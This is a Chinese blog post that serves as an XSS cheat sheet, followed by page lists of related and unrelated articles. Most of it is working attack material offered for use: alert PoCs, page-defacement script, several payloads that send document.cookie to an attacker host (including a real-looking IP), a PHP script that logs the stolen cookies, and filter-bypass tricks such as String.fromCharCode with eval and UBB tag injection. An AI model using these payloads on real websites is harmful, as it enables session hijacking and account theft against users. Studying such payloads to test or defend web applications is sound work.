XSS漏洞的poc与exp
poc
- <script>alert('xss')</script> 最简单常用的poc
- "><script>alert(1)<script>
- <a href='' onclick=alert('xss')>type</a> 页面出现一个按钮type,点击触发onclick,然后执行弹窗
- <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加载图片,给一个错误的图片地址,错误则执行弹窗
- <script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
- <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
- onmouseover=alert(document.domain) 闭合属性,构造on事件
- onmousemove=alert(1)
<input type=”text ” onfocus=prompt(1) autofocus>
利用input的autofocus属性,无需用户交互即可触发xss.
- htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
- 如输入在herf或src里面:javascript:alert(1)
- js输出,输入的数据由js变量接收,通过</script>闭合即可
exp
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script>- 篡改页面,将页面篡改为<h1></h1>里面显示的文字
<script>new Image().src="http://yourhost/getcookie.php?
cookie="+document.cookie;</script>- 将别人登录的cookie信息捕获到自己的服务器上
- 自己的服务器上编写一个接收cookie信息的php脚本getcookie.php
- 此脚本将接收到的cookie信息写入到自动创建的txt文本cookie.txt里面
- <script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>
- 与上一个获取cookie信息的payload相似,相当于这是第二种获取cookie信息的exp
- <script src=http://1.1.1.1/a.js></script>
- 自己服务器上a,js的源码为:
var img = new Image();
img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;- 获取cookie信息的第三种方式,这种方式的payload比较简短,便于很好的利用。
- 这种间接的方式,可以适用于所有的exp,将攻击代码放在服务器上的一个js文件里面,然后再漏洞点利用<script>访问
附上一个简短的getcookie.php脚本
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
?>
绕过方法
- 利用js双写或者大些小绕过:<scscriptript>alert(1)</scrscriptipt>
- 利用input弹窗
' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` ' 利用链接弹窗(a标签)<a href="javascript:alert(1)">click me</a> //
- 利用html实体编码绕过
- 利用换行绕过
- 转义字符:将xss语句转换为含有“\”16进制或者8进制
(工具地址:http://tools88.com/safe/xss.php)

- UBB标签:UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成<img src=”url”></img>。这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:
x"/**/onerror="alert('poruin')
那么经过转换后就变成了<img src="x"/**/onerror="alert('poruin')"></img>
在JS中空格可以用/**/转换,如图:

3.JS还原函数
JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。
在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:
<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>
XSS过滤绕过速查表:https://www.freebuf.com/articles/web/153055.html
xss公共平台:http://xss.fbisb.com
XSS漏洞的poc与exp的更多相关文章
- XSS 漏洞介绍
概念: XSS 攻击:跨站脚本攻击 (Cross Site Scripting),为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆.故将跨站脚本攻击缩写为 XS ...
- 从零学习安全测试,从XSS漏洞攻击和防御开始
WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识 XSS属于漏洞攻防,我们要研究 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- 【转载】【网络安全】渗透中 PoC、Exp、Payload 与 Shellcode 的区别
原文地址 渗透中 PoC.Exp.Payload 与 Shellcode 的区别 概念 PoC,全称"Proof of Concept",中文"概念验证",常指 ...
- PhpMyWind储存型XSS漏洞练习(CVE-2017-12984)
0x01 介绍 又是一款开源CMS内容管理系统PhpMyWind,在小于等于5.4版本中存在储存型XSS漏洞.如下图所示,这个就是发生储存型XSS漏洞的代码 0x02 演示 1.第一张图是客户留言时, ...
- Wordpress Calendar Event Multi View < 1.4.01 反射型xss漏洞(CVE-2021-24498)
简介 WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台.该平台支持在PHP和MySQL的服务器上架设个人博客网站.WordPress 插件是WordPress开源的一个应 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- 基于dom的xss漏洞原理
原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XS ...
随机推荐
- Ubuntu下LAMP的环境配置教程
总体来说,Ubuntu下安装LAMP环境是比较简单的,只需按照命令行执行即可,记录操作以备不时之需. 一,首先更新Ubuntu里面所有的软件 sudo apt-get update 二.之后安装Apa ...
- Objective-C编程 — 并行编程
多线程 线程的基本概念 线程 (thread)是进程(process)A 内假想的持有 CPU 使用权的执行单位.一般情况下,一个进程 只有一个线程,但也可以创建多个线程并在进程中并行执行.应用在执行 ...
- Spring Boot 2从入门到放弃(持续更新)
入门 Spring Boot 2项目的搭建和启动(入门篇1) Spring Boot 2项目的搭建和启动(入门篇2) spring boot 2项目自定义父pom Spring Boot 2开发工具s ...
- ACP知识总结
由于ACP是一个敏捷开发的系统性知识,下面只针对我自身学习的知识总结,若需要完整的考试学习资料,可评论区或私聊我拿. 敏捷估计与规划.png ACP知识点锦集.png 敏捷项目软件总结.p ...
- 加速github访问速度
打开https://www.ipaddress.com/ 查询以下三个链接的DNS解析地址 github.com assets-cdn.github.com github.global.ssl.fas ...
- 错误:EfficientDet网络出现"No boxes to NMS"并且mAP:0.0的解决方案
近日,在使用谷歌新推出来的一个网络EfficientDet进行目标检测训练自己的数据集的时候,出现了如下错误: 其中项目开源地址是:https://github.com/toandaominh1997 ...
- spss——定义变量
在变量视图 1,名称:必须以文字.字母.@ 这三类命名, 不能以数字.特殊字符.spss保留字等命名 2,类型:数字.逗号.点.字符串等,(字符数) 3,宽度 4,小数位数 5,标签:对名称进一步解释 ...
- 迅雷X v10.1.29.698-免安装SVIP去广告精简版+骨头版+便携版+手雷+Mac精简版
迅雷X 10.1版本开始,采用Electron软件框架完全重写了迅雷主界面.使用新框架的迅雷X可以完美支持2K.4K等高清显示屏,界面中的文字渲染也更加清晰锐利.新框架的界面绘制.事件处理等方面比老框 ...
- qt creator源码全方面分析(2-2)
目录 Common Extension Tasks Common Extension Tasks 本节总结了可用于将UI组件添加到Qt Creator的API函数. 任务 详细 API 添加菜单或菜单 ...
- LeetCode 867. 转置矩阵
题目链接:https://leetcode-cn.com/problems/transpose-matrix/ 给定一个矩阵 A, 返回 A 的转置矩阵. 矩阵的转置是指将矩阵的主对角线翻转,交换矩阵 ...